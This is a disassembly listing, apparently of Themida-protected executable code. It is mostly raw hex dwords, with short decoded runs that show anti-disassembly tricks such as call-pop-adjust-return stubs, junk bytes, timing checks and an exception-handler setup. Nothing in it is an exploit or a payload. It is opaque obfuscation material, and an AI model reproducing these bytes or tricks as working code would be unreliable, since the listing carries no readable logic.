83AEC827h, 121BD9BDh, 850F0306h, 351h, 2498D89h, 0BD830612h dd 615C812h, 3E840F00h, 0E8000003h, 0Bh, 0E05C2BF2h, 0A6DBD8F4h dd 3663103h, 120D5D9Dh, 0B70F5F06h, 12B5FFDEh, 890615C8h dd 12107585h, 0A995FF06h, 0F06121Ah, 28Bh, 8B99B300h, 15C806B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 0BB31C625h, 66579044h, 6860Fh, 95010000h dd 6121819h, 106C7h, 890F0001h, 6, 0E12AEF81h, 505011D7h dd 61605352h, 5A310F5Bh, 24348958h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 9CC35141h, 5F4BB8C0h, 8B66BAA3h dd 11E9DAh, 80D40000h, 0C88E6D9h, 2D39E78Eh, 352D7A32h dd 0FFAC71B1h, 15C812B5h, 9E96006h, 6F000000h, 8362F16Dh dd 328CFA42h, 61CA8B66h, 1C0595FFh, 0B9BF0612h, 8B50B601h dd 15C806B5h, 0FDBD8B06h, 8B06121Eh, 1201A585h, 99D8906h dd 89061224h, 0C486h, 0A1958B00h, 83061209h, 9D3104C2h dd 6121E45h, 66205089h, 8D8680BBh, 15DC6F85h, 6DD78106h dd 8946759Dh, 0B886h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 6A5CBDh, 0FE9h, 14236F00h dd 607F6E4h, 0DA4A5C35h, 0DA178970h, 2F4DB589h, 0B5FF0612h dd 615C812h, 31BB6651h, 0B70F5F19h, 0A595FFF9h, 89061206h dd 1229D195h, 0BB669606h, 0E950245Ah, 9, 0A14F9B2h, 4262D6CAh dd 0BD8B96E3h, 6121311h, 0C812B5FFh, 6A0615h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 39DC68C3h dd 6A52B1C4h, 0BF526123h, 7F79E242h, 8195FF5Bh, 6A061202h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 514CC357h, 0FE86Dh, 785D0000h, 0D7764267h dd 0B4792F7h, 0AAB65627h, 0C59D8BC7h, 5F061221h, 2A09BD83h dd 0F000612h, 1284h, 0C98D2900h, 5006122Dh, 3489DF8Bh dd 3DBD8B24h, 0FF061209h, 15C812B5h, 0F88B6606h, 18C195FFh dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 7AD82DC3h, 2730CBBh, 0DE8B6623h, 0C812B5FFh dd 85890615h, 612116Dh, 1BA195FFh, 6A0612h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 881676C3h dd 2F9C2F5Ch, 83E1045Ch, 121EB1BDh, 840F0206h, 68h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0EBC35141h, 0CBD242EBh dd 4EB2637Eh, 3A5858Bh, 6A0612h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0DC31B9C3h, 3773DF81h dd 0BF0F56CAh, 0F99D8BD8h, 0C6061214h, 9E90000h, 5B000000h dd 0BDD0718Dh, 0C9000D9Bh, 1B5985C7h, 612h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 3BC80AC3h, 548529F5h, 0EE2B67BFh, 0F4A8E942h, 6AFFFFh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0C18B2CC3h, 30099D8Bh, 858D0612h, 6122E01h, 50D8B70Fh dd 128C0Fh, 0DE90000h, 0D3000000h, 178EFCD3h, 34505B49h dd 320B9406h, 8B240489h, 121CCDBDh, 6A006A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0FDCC355h, 687h, 75950900h, 6A06120Eh, 0FE900h, 21AE0000h dd 3FA1710Ch, 8E885F5h, 0E789A0BFh, 0C5858D0Ah, 0F06170Dh dd 0C083DBB7h, 6E905h, 0E1920000h, 51C91A03h, 66525050h dd 310FFA8Bh, 0FDEEBE60h, 850F387Fh, 0 ; --------------------------------------------------------------------------- popa pop edx pop eax mov [esp], eax push 0 push esi call sub_59768D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59768D proc near ; CODE XREF: Themida_:00597685p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_59768D endp ; --------------------------------------------------------------------------- xchg eax, edi mov edi, [ebp+6121881h] push 0 push 0 push ebp call sub_5976B1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5976B1 proc near ; CODE XREF: Themida_:005976A9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_5976B1 endp ; --------------------------------------------------------------------------- db 0F1h, 0DAh, 0D5h dd 4CFCD986h, 6A006AE5h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 5AB7C352h, 8B00772Ch dd 1214ADBDh, 0B595FF06h, 6A06120Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B695C355h dd 0E2EF9CEFh, 58A74630h, 0AF028D8Dh, 6A0615h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0E4B90DC3h, 2695BD8Bh, 0D1FF0612h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0DCC35242h, 939133D8h, 0FBF6662h dd 0ADBD8315h, 1061207h, 61850Fh, 95890000h, 6121029h dd 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0DE4CC3h, 0AB2746B0h, 0B1BD8941h, 90061234h dd 461E36BFh, 0BF565019h, 142591Fh, 0FE8905Fh, 53000000h dd 11992CA4h, 3291106Fh, 3C5E6EB6h, 0FF5FBD51h, 1206A595h dd 558D0906h, 0E9061200h, 0DB4h, 0E8h, 0ED815D00h, 6170DCFh dd 1DBD8Bh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 6E595AC3h, 0D88B783Fh, 2783DBBFh dd 37858D43h, 0F061594h, 689h, 1DB52900h, 50061211h, 489DF8Bh dd 64FA8A24h, 35FFh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 54B0DEC3h, 9E9h, 0FAE0A200h dd 0D1A4A6A2h, 89647B07h, 25h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DF62F50Ah dd 1AE488CEh, 2D8D9D8Bh, 8D890612h, 61207CDh, 67985FFh dd 0BD890612h, 6121A29h, 8B60FF6Ah, 12200995h, 3D8D8B06h dd 61061203h, 268DB5FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 9E09CBC3h, 612C8C9Ch dd 0B595FFCBh, 0E906122Ch, 11Ah, 68F0Fh, 95890000h, 6122DDDh dd 0DE800B0h, 0AE000000h, 0E4CEC327h, 395576D0h, 0DD8B7E23h dd 5FFBB70Fh, 9D8B70E6h, 6122AF1h, 805671E4h, 95FA9C3h dd 121E51B5h, 0F613C06h, 0D983h, 0F06B300h, 0E781C8B6h dd 13C3F4F4h, 6BAh, 0E567BB00h, 0C18B5974h, 4E8C1F8h, 0FFD38166h dd 0E2F76674h, 5E9h, 24427D00h, 0C82B1E02h, 67EBCF81h dd 0D18B5E28h, 9BE992B7h, 0F000000h, 1589h, 10E900h, 1D640000h dd 2E4E5A89h, 83A5230Eh, 9A56C3EFh, 858BE09Dh, 47554C50h dd 0AE9h, 7D1CBE00h, 1ADB6C56h, 83CA28B1h, 0BD8B07C0h dd 61214A9h, 8900C083h, 1211719Dh, 0FD03B06h, 1483h, 0A19D2300h dd 0E9061211h, 46h, 8BFBB70Fh, 120DA59Dh, 0FF8D8B06h, 8BFFFFFFh dd 121F8DBDh, 0FDF78106h, 83195280h, 840F01E1h, 22h, 341BB66h dd 0FFFFA583h, 89FEFFFFh, 1228B19Dh, 50958906h, 8B47554Ch dd 1204B59Dh, 0E906h, 0B58D0000h, 6168918h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0ECC35040h, 0DEC0D249h dd 9D8B0AACh, 612172Dh, 8166006Ah, 0FFE177CBh, 1219CD95h dd 1D9D8B06h, 0B906122Fh, 0EE9h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 0D2C35141h, 0F75879F1h, 0D51FD58Dh dd 15BD8Bh, 60510612h, 8BDFBF0Fh, 895F61D9h, 1207A99Dh dd 0FCE18306h, 8AFEBF0Fh, 6AFCDCh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 7F0D88C3h, 2B15C926h dd 0F88B66C0h, 0BAh, 33BB6600h, 0C233AD73h, 0D003E8D1h dd 7504E983h, 50006AF4h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 6A3D9C25h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 2C11C353h, 0ABD6E574h dd 81292D26h, 929F77CBh, 880D3Eh, 0BD2B0000h, 6121AADh dd 41D9D31h, 958B0612h, 61209A1h, 2899D8Bh, 8D8B0612h dd 6120505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0DCC35040h, 0C28B50AEh, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 6B0FC357h, 6A58D680h dd 2F219D89h, 0BD8B0612h, 6121345h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 0A3C35040h, 816619B5h, 83E285CFh dd 122121BDh, 840F0006h, 58h, 1B3D9D0Bh, 0B80612h, 29000000h dd 122F299Dh, 0B58D8D06h, 6A06124Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0C8D1C355h dd 85899DA8h, 61219D1h, 1EB9B589h, 0E1FF0612h, 8E8h, 0FE6AAF00h dd 8CF035C2h, 69BD8B20h, 5F06120Dh, 1BD9BD83h, 0F000612h dd 4CB84h, 0CDBD2300h, 83061209h, 121BD9BDh, 840F0106h dd 4D3h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 7AC35242h, 666D024Dh, 33D1B816h, 2880Fh, 0FE8A0000h dd 1BD9BD83h, 0F030612h, 46486h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 6CE3528h, 60912D1Eh dd 66D9B70Fh, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 6AA778C3h, 66998E26h, 0DCD3CF81h dd 0A870Fh, 5E90000h, 65000000h, 1B341339h, 6A04E180h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 15A7C351h, 68D0Fh, 0BD2B0000h, 6121181h dd 840FC90Ah, 130h, 9589F960h, 6121859h, 8D858B61h, 60061230h dd 9D8960B2h, 61229B5h, 65853361h, 0F061231h, 8B50DEBFh dd 240489FEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0F2C35343h, 8BC44A2Eh, 122D7DBDh, 259D8B06h, 0B306121Fh dd 6A006AEEh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 3FCEC350h, 8A0DF218h, 505968DAh dd 8B669C40h, 240481FAh, 63DEB3A6h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 76C35747h, 2D219D8Bh, 5F520612h dd 237995FFh, 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8112E6C3h, 3E5DF2CBh, 12858945h dd 6A0615C8h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 7089C356h, 0BF66644Eh, 813A0F7Eh dd 207E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 13669025h, 0CEC8C7BBh, 0DA8B60E3h dd 61E6C980h, 0C80A858Bh, 6E80615h, 0AB000000h, 0A3B982EBh dd 0C75FACh, 18h, 12E9h, 54C51600h, 8E257A9h, 667C2C59h dd 953ECDC7h, 8BC521D9h, 15C80EB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 858BA320h dd 6122AB9h, 84D838BBh, 29068915h, 123139B5h, 8D858B06h dd 6A061230h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 6C94C353h, 0BB236411h, 816631B7h dd 0F52F8CCBh, 6A044689h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 82A7C351h, 1665871Dh dd 598D31FDh, 96061222h, 820F5250h, 6, 870Fh, 310F0000h dd 585A38B3h, 96FA8B50h, 6E9h, 5A67C000h, 0FF0B0D3Ch, 15C80AB5h dd 5DBD2306h, 0E8061229h, 4, 1F03FFh, 8A50D98Bh, 24448BFEh dd 0A860F04h, 50000000h, 0F616052h, 5A616031h, 0E9008B58h dd 9, 52719F7Ah, 0BADB4C2Ah, 24448933h, 0DE804h, 3950000h dd 0B445D8AEh, 0D4024A34h, 509ADF8Eh, 0AE952h, 56A90000h dd 0F34A67F0h, 3CD26DB6h, 0BB66310Fh, 585A0018h, 6A585Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 3ED375C3h, 0DE82643h, 0D4000000h, 0C317B8ACh, 3148F9FEh dd 2F7172BDh, 0D62505BFh, 81665F3Ah, 8D7569D7h, 15C81285h dd 0FABF0F06h, 50FD8A90h, 0DB7DBB66h, 53006A90h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 6F2DE421h, 8BEF3C1Ch, 120CD59Dh, 5E906h, 99560000h dd 0FF93010Bh, 12237995h, 0FFBF0F06h, 57006A61h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0F8516528h, 0D95B589h, 85C70612h, 6121BD9h, 3, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 7FC35040h, 0F8D28160h dd 8B1FEF72h, 0BD8361D1h, 615C812h, 62840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 28A9C353h, 3681C292h, 8D0F85ECh, 6, 2BED9D8Bh dd 85890612h, 6120DB9h, 43E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 892D06AFh dd 49DF13CAh, 0B70F9A93h, 0C3050D9h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 59C35747h, 82FE842h, 6C93EF81h, 6A2708h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 450B3DC3h, 9D29DF45h, 6122FF1h, 0BD83D88Bh, 6121BD9h dd 0D6850F03h, 6A000003h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 80CBC356h, 14EB8576h dd 83B29D4Ch, 15C812BDh, 840F0006h, 3A5h, 1F099D03h, 0B5FF0612h dd 615C812h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 4BC35343h, 0A339D52Fh, 0BE960h, 48D00000h, 882EA02Eh dd 0EB5C2444h, 0BE9CDh, 724E0000h, 0E4044E4h, 0CA73D45Dh dd 95FF6125h, 6121AA9h, 0B58BF88Bh, 615C806h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 23C35141h, 0C31A7D78h dd 0F6F78153h, 0C74456E1h, 1000106h, 8E900h, 7AC30000h dd 9A741B74h, 0E9506E63h, 0Fh, 69D6C36Fh, 0F7E7EC18h, 557B222h dd 89A5EE41h, 0BD8B2434h, 6122369h, 0C812B5FFh, 6A0615h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 621941C3h, 0F6CAAA1Bh, 9021F781h, 850F4917h, 6, 23159D8Bh dd 95FF0612h, 6121C05h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 27C35141h, 0D87DD66Fh, 13E9C0EAh, 0D1000000h dd 0FCFA1219h, 14C5D667h, 96C448B6h, 0B21931CCh, 0B58BFFFCh dd 615C806h, 289DBD89h, 858B0612h, 61201A5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 87C35747h, 0F655E58Dh dd 12ACC6D6h, 859D8B4Fh, 0F8061215h, 0F88B6656h, 0C486895Bh dd 0E9000000h, 7, 9978FFE8h, 8B4743D5h, 1209A195h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BF52092Eh, 30C27987h, 0DE95Bh, 0ADF70000h, 0E484CFA2h dd 0AA295026h, 83297440h, 42B704C2h, 1205089h, 1209BD9Dh dd 6F858D06h, 890615DCh, 121455BDh, 0B8868906h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 37B0C351h, 0B5FF006Ah, 615C812h, 0E799589h dd 95FF0612h, 61206A5h, 96FEB70Fh, 6AB96660h, 0B4BB66E7h dd 0E95061FAh, 10h, 5CD33392h, 7A1B5288h, 3312889Ch, 88F68F53h dd 53006A96h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 9F9BB7D5h, 108B9368h, 9D8BF4FDh, 61212C5h dd 0C812B5FFh, 95FF0615h, 6120281h, 451BD8Bh, 0BD830612h dd 6122A09h, 61840F00h, 51000000h, 11E9h, 505EBA00h, 0AB1A5531h dd 0F38F768Ah, 7861BBE5h, 505FC81Bh, 2830F60h, 53000000h dd 0EE858h, 0C9E0000h, 0F839A844h, 0E56CC8F5h, 0C5D0695Eh dd 0CE8h, 0B963D00h, 91548D64h, 0D2976ACEh, 6158588Eh dd 0E8243489h, 9, 0AF0F1904h, 2CD1FBC6h, 95BD8B34h, 5F061203h dd 0C812B5FFh, 64B70615h, 5513BB66h, 18C195FFh, 6A0612h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 95C641C3h, 798D89F1h, 0FF061210h, 15C812B5h, 3DBD8906h dd 0FF061210h, 121BA195h, 0C5BD8B06h, 83061203h, 121EB1BDh dd 840F0206h, 54h, 858BDF8Bh, 61203A5h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Bh, 3FC35141h, 0CCE5EAF7h dd 0C65BFC2Eh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 8873D2C3h, 0A94DAB93h, 0C3B7DBDEh dd 1B5985C7h, 612h, 8E0F0000h, 5, 0D7F38166h, 0F34AE975h dd 9531FFFFh, 6123075h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0C4EC87C3h, 0BADE26BAh dd 7E9h, 0D27F9900h, 0A9B5B3E6h, 2E01858Dh, 6A0612h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 9447E5C3h, 8B85039Ah, 1207CDBDh, 10E806h, 0D2F00000h dd 0E442BD41h, 5F4C6E54h, 0E3BBAFBAh, 0B589E14Fh, 6121915h dd 30B3905Bh, 2890F50h, 53000000h, 6A905Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0D26286C3h dd 16850Fh, 11E90000h, 82000000h, 72E90ED4h, 0AF9CAF85h dd 3844C0Dh, 71EF014Fh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 6A2BFDC3h, 0AB858D00h dd 6A06171Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 6D9CC355h, 0BD8B1650h, 6121845h dd 0C083F88Bh, 51CF8105h, 5026BFB8h, 1B358531h, 905F0612h dd 7595BF50h, 8B907E31h, 1206C5BDh, 6A006A06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0EC18C355h, 0B222F7E7h, 0B70F0557h, 8B006AFEh, 120D2D9Dh dd 0B595FF06h dd 6A06120Dh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 5760C355h, 8B04B3E3h, 12302DBDh dd 919D8906h, 8D061200h, 15AF028Dh, 0FE806h, 50880000h dd 4AF562BBh, 0E1638379h, 1D459362h, 8BFC60A0h, 1200A1BDh dd 0FF5F6106h, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0B99314Ch, 121395BDh dd 0ADBD8306h, 1061207h, 77850Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 5027B5C3h dd 66026A60h, 5A60DF81h, 0DE8A5290h, 6A90505Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 4ED5C357h, 0FF71CAB7h, 1206A595h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 4C40120Fh dd 8B4730E9h, 0E87E9F8h, 0E80000h, 5D000000h, 1DB5ED81h dd 8B660617h, 51006ADAh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 12B933E0h, 9C2CF95Ah, 858DFE8Ah dd 6159437h, 0BE9h, 74AD8900h, 5D6A0C24h, 4E5B298h, 50DE8A90h dd 4840Fh, 8B560000h, 89905FFEh, 1221918Dh, 35FF6406h dd 0 ; --------------------------------------------------------------------------- mov di, 7BE3h sub bx, 23E7h mov large fs:0, esp push 0 push edx call sub_598847 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598847 proc near ; CODE XREF: Themida_:0059883Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_598847 endp ; --------------------------------------------------------------------------- mov [eax-75h], ecx popf cmc or [edx], edx push es mov bh, cl pusha xor [ebp+6121159h], ebx mov esi, [ebp+6120461h] popa inc dword ptr [ebp+6120679h] xor bx, 0D071h push 0FFFFFFFFh push 0 push esi call sub_598887 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_598887 proc near ; CODE XREF: Themida_:0059887Fp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_598887 endp ; --------------------------------------------------------------------------- db 7Bh dd 922FB26Ah, 7240B8EFh, 0D9B70F96h, 50DB5FFh, 6A0612h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 89BF97C3h, 12234585h, 29858906h, 0FF06121Ah, 122CB595h dd 140E906h, 0BD8B0000h, 612286Dh, 9D8B00B0h, 6122659h dd 870F70E6h, 14h, 0FE9h, 701F8A00h, 13823504h, 0AB1EDC57h dd 76150AEh, 0BD8B71E4h, 6123109h, 830F613Ch, 106h, 1D6D8589h dd 0B60F0612h, 6D9D0BC8h, 0BA061200h, 6, 8BDEB70Fh, 0AE9C1h dd 90B20000h, 946B632Dh, 999C219Eh, 0B8F78166h, 4E8C17Bh dd 9F19D8Bh, 0F7660612h, 0FDBD8BE2h, 8906122Eh, 1229159Dh dd 0E9C82B06h, 0Dh, 38D6A006h, 31E2365Fh, 0FFF7BA57h, 0E9D18BB1h dd 6, 0DE2CD343h, 9BE966E0h, 0E8000000h, 0Eh, 1E266F1h dd 0FD4CF404h, 0E1F16AD8h, 0FA8B9BA0h, 49858B5Bh, 8B44004Eh dd 1211059Dh, 7C08306h, 85895160h, 61229F5h, 68E0F59h dd 8B000000h, 1206518Dh, 0C0836106h, 0BD8B5200h, 61218BDh dd 0FD03B5Bh, 0B83h, 48E900h, 0F7810000h, 756AFFB9h, 0FFFF8D8Bh dd 8501FFFFh, 6122BD5h, 0F01E183h, 2D84h, 0DA08BF00h, 0B5895AD4h dd 6122199h, 0FFFFA583h, 60FEFFFFh, 1CFDBD8Bh, 89610612h dd 4E4995h, 2800F44h, 8A000000h, 0E9D9h, 0B58D0000h, 6169801h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0DC35040h dd 0E8004036h, 0Bh, 650F2F65h, 0CD10BB2Eh, 0F98AA4E1h dd 0F006A5Fh, 95FFF8B7h, 61219CDh, 8E9h, 186A7900h, 0BEC81737h dd 0F73B939h, 0FE8A0000h, 29FCE183h, 1219F595h, 6AFC06h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0E3AEBCC3h, 0FE38BFD0h, 8B66E380h, 6AC02BD9h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 966C357h, 522C8E23h, 0BA5Bh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0CDF67AC3h dd 0F691B77h, 581h, 0BE66BB00h, 33AD3E81h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 0F13471C3h, 91C4190Bh, 6A03949Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0C439C357h, 236A52B1h, 8BDA5061h, 880DF9h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 410557C3h, 0BD8BA5EEh, 61203A1h, 9A1958Bh, 6A0612h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0C2833C3h, 0E8813C2Eh, 8B2A8864h, 1205058Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 69F3D338h, 119D2953h, 50061201h, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0D3816658h, 6E889D0h, 0EE000000h dd 0E1219D75h, 0A9958970h, 5B061230h, 2121BD83h, 0F000612h dd 0A184h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0F470AFA9h, 0F2E8BFA8h, 0B81D64h dd 60000000h, 23759D89h, 870F0612h, 11h, 0CE9h, 1A386B00h dd 0C8BE4970h, 11B0416Fh, 8D8D61A0h, 6124DB5h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 3CC35747h, 1CDA6EBAh dd 0B9BD8BB9h, 0FF06120Eh, 50006AE1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 7DD447A5h dd 94C747DEh, 14E98501h, 0BD830612h, 6121BD9h, 1B840F00h dd 0F000004h, 0BD83FEBFh, 6121BD9h, 26840F01h, 6A000004h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 7719C357h, 0B7AF1647h, 0D9BD8357h, 306121Bh dd 3C1860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 0B09276C3h, 27C9BB58h, 81664D5Eh dd 6019C3CFh, 19D18D89h, 8C660612h, 0D99589D9h, 8006120Dh dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 663417C3h, 0A981EBFh, 0EB840FC9h, 89000000h dd 1212119Dh, 8D858B06h, 31061230h, 1223C1B5h, 65853306h dd 6A061231h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 9485C350h, 0C38180C0h, 0EB86841h dd 51525090h, 310F5250h, 0F5F585Ah, 56525031h, 50310F5Fh dd 5A310F52h, 5A585A58h, 0F905058h, 685h, 0FD9D8900h, 0E806120Eh dd 0Ch, 4F408BE3h, 0A9DDAA04h, 6DB9A40Eh, 8A006A5Bh, 0A32168D8h dd 14E830EDh, 15000000h, 82C5ACAFh, 43D6D03h, 71E824A0h dd 4F25F9A5h, 8B1F0093h, 34815FF9h, 0F2A0DE24h, 53006A30h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 66B3B601h, 56DBEB81h, 237995FFh, 0BF0F0612h, 128589DEh dd 660615C8h, 0D7BFFB8Bh, 0E9217CB9h, 1E4h, 29A9BD23h dd 858B0612h, 615C80Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Bh, 0B5C35747h, 79032EBDh, 8B3970AAh, 1221DD9Dh dd 1800C706h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0A63FC355h, 407E56FFh dd 81ACA2F8h, 9FCED0F7h, 0EB58B2Eh, 6A0615C8h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0C944C356h, 2F9A38EBh, 115D381h, 858B41FAh, 6122AB9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EAC35545h dd 31BB8E62h, 892836C5h, 51006A06h, 3E8h, 